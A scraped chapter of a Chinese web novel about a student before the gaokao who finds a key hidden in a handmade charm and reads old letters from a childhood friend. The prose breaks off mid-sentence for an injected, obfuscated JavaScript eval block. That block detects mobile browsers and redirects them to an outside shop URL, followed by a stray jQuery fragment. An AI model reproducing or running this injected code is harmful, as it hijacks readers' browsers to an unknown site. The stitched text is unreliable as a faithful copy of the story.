十八岁生日之后，喧嚣渐息，一切生活痕迹都归于忙碌的轨道。
尤然远赴S国接手家族事业，上官鹤亦步亦趋地跟去异国求学；国内这边，阮知橙、路月等一众人则彻底扎进了题海。
距离高考仅剩六个月，这枚沉甸甸的计时器悬在每个人头顶。
“高考啊……”
阮知橙在心里反复念着，又甩了甩因为长时间写题而酸痛的手腕，忍不住笑自己。
前一年他可还在“厌学”呢！
“唉。”
一声长叹打断了他的思绪。
阮知橙循声望去，黄元正捂着脸瘫靠在墙上，整个人像是一片被嗦干了水分的芒果干，神色枯槁，软塌塌地挂在那里。
“谁又惹我们汤圆姐姐心碎了？”
阮知橙搁下笔，顺手把外套揉成一团，塞在下巴垫着。
嗯，舒坦。
他微眯起眼，像只短暂晒太阳的猫。
“还能有谁……”黄元从桌上捞起卷子，在阮知橙面前绝望地抖了抖。
红色的叉号如同冬日里凌乱的雪花，英语、物理、化学，谁也没缺席。
阮知橙眨眨眼，默默摊开自己同样“满目疮痍”的卷子。
两人对视半晌，一同笑了起来。
“哎呦我心里舒坦了，”黄元拍拍自己的胸口。
“我一天学十个小时都这样……”阮知橙懒洋洋打了个哈欠，“燃尽了。”
黄元摇头，现在她是听不进去一点关于学习的事，“话说，你找到钥匙了吗？”
“没有。”
说起这个，阮知橙难得愁眉苦脸。
生日之后，他几乎把家里翻了个底朝天，甚至连父亲们的卧室都没放过。
哪怕阮岭还在赖床，阮知橙也能面无表情地连人带褥子一起扛起来，对着床底一通扫射。
“怎么可能会在这个地方！”阮岭幽怨地抱着枕头。
阮知橙没理会自家老爸的控诉，放下床垫，随手抹平床单，又像一阵风似地飘走了。
……
“这怎么可能？”黄元捧着脑袋，“实在不行你把锁砸了？”
阮知橙摇头，认真道，“是尤然的礼物。”
“这就麻烦了，”黄元望天，“家里没有，学校没有，还能在哪？”
阮知橙没有回话。
他总觉得脑子里有一块记忆的拼图是缺失的，而那把钥匙，就是找回记忆的重要线索。
放学后，阮知橙飞速钻进了自家车，直到双手贴着出风口的暖风，那种刺骨的僵硬才慢慢散开。
谢辛楼接过他的书包，指了指包底沾上的白色粉尘，眉头微蹙：“脏了，该洗洗了。”
“啊？”阮知橙一愣，下意识解下书包上的柚子挂坠。
原本柔软的绒毛上沾了细细的灰尘，尖尖的叶子角还挂着几粒不明的泥点，像是经历了一场小小的风暴。
阮知橙伸出手指，小心翼翼地拂去上面的灰尘，“我都没注意到……”
谢辛楼斜眼瞥了一眼阮知橙，嘴角弯起，不知道想起了什么。
窗外路灯流转，车内静谧而温暖。
阮知橙低着头，指尖轻轻摩挲着有些磨损的柚子挂坠，倏忽，一阵坚硬、冰冷且棱角分明的触感突兀地传到了指尖。
阮知橙呼吸一滞，手下意识地加重了力道。
没错！
那层薄薄的棉絮里，切切实实地裹着一个硬物，细长、平整，带着些熟悉的凹凸感……
“……钥匙？”他喃喃自语。
阮知橙试着回忆这枚挂坠的来历，可每当思绪触碰到那个节点，大脑就像是断了线的风筝，只剩下空落落的白噪音。
“橙子？”谢辛楼将车稳稳停妥，熄了火，侧头唤了他一声。
阮知橙这才如梦初醒，涣散的目光重新聚焦。
他像是抓住了最后一根救命稻草，急切地将掌心摊开：“爸，你还记得这个挂坠是怎么来的吗？”
“你自己亲手做的呀，这也能忘？”谢辛楼像是听到了什么稀罕事，好笑道。
“那时候尤然买了个橙子挂件，你瞧见了非得闹着也要个柚子的。结果满大街都买不到同款，你又天天念着，小岭就给你买了针线……”
“没想到你还真做出来了一个。”
说罢，谢辛楼伸手，戳了戳那只圆滚滚的小柚子。指尖触碰的瞬间，他的动作突兀地顿住了。
他眉头轻蹙，指腹在布料下那块生硬的凸起上反复捏了捏，半晌才“啊”一声。
阮知橙捧着柚子团眼巴巴看谢辛楼。
“这事儿我还真不知道。”谢辛楼收回手，迎着儿子探寻的目光，意味深长地笑了笑，语气慢条斯理，“你们两的小秘密，我这个当爹的，上哪儿知道去？”
被谢辛楼那带了点调侃的目光一扫，阮知橙闹了个大红脸，热度一路从脸颊蔓延到耳根。
后脖颈处的腺体毫无征兆地突突跳动起来，那股燥热感像是困在窄瓶里的火苗，烧得他心慌意乱。
他再也待不下去，手指死死捏着那枚柚子挂坠，胡乱拽起书包，甚至顾不上和谢辛楼打声招呼，就猫着腰一溜烟跑出车库，朝着楼梯间狂奔而去。
落在车里的谢辛楼没有立刻下车，他鼻尖微微翕动，车内原本清冷的空气中，此刻正横冲直撞地散发着一股带着些许呛味的风油精味信息素。
谢辛楼盯着儿子消失的方向看了一会儿，缓缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307693|198726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掏出手机。片刻后，他在屏幕上点了几下，预约了一家资深的检测机构。
屏幕的冷光映在他深邃的眼底，盯着那行“预约成功”的提示界面，他沉默地摩挲着指尖，不知在想些什么。
***
台灯的光晕微微晃动，将少年的影子投射在墙上，显得有些形单影只。
书桌的一角，阮知橙特意清理出了一块空地，将盛着干净棉花的小框推来。
他屏气凝神，小心翼翼地从那枚柚子挂坠的腹中取出了那枚微凉的金属钥匙。
这钥匙看起来再普通不过，甚至透着几分拙朴，和旁边那个毫不起眼的木头盒子一样。
咔哒。
一声脆响，在寂静的卧室里显得格外惊心动魄。
锁扣应声弹开，阮知橙的手不由自主地颤了一下。
他深深地吐出一口气，试图以此平复胸腔里乱了节奏的心跳。他单手按住盖子，缓缓向上掀开——
没有预想中的昂贵物件，入眼的，是叠得整整，压得严实的厚厚一沓信纸，信纸边缘海泛着些黄，看上去有些时间了。
他将最上面的一封展开，规整幼稚而又熟悉的字体映入眼帘：
阮知橙：
这里的雪很大，比我们在院子里堆雪人那天还要大。我今天在超市看到了橙子味的软糖，包装纸是黄色的。
我买了一颗放在口袋里，没有吃。
落款是十二年前。
阮知橙记得这天，是林谕带着尤然出国后的第一天。
他又拿出一张，落款日期和前面一封一样，但只有一行字——
我还是忍不住吃了，好甜。
……
不知道过去了多久，阮知橙才舍得放下手中的信纸。
指尖因为长时间用力而微微发白，他深吸一口气，拿起手机，拨通了置顶的号码。
仅仅响了一声，那边便接通了。
两端都陷入了短暂的静谧，电流微弱的滋滋声在耳畔回响。
阮知橙舔了舔由于紧张而干燥的唇，想张口说话，但喉咙就像被什么堵住了，没发出声音。
另一端的人也没说话，耐心等着。
不知道是不是错觉，阮知橙总觉得那人的呼吸正穿过层层电流，严丝合缝地打在他的耳廓上。
“……我找到钥匙了，”他轻道，“我还想告诉你几件事……小学的事情。”
说罢，阮知橙也没等尤然回话，认真讲起自己在一年级得了语文老师夸奖的事。
彼时，地球另一端的尤然，他静静倚靠在黑椅上，挥手让秘书离开，将电话离得自己愈发近。
他抚着胸口，曾在心里高悬的石头此刻被放下悬崖，永远沉底。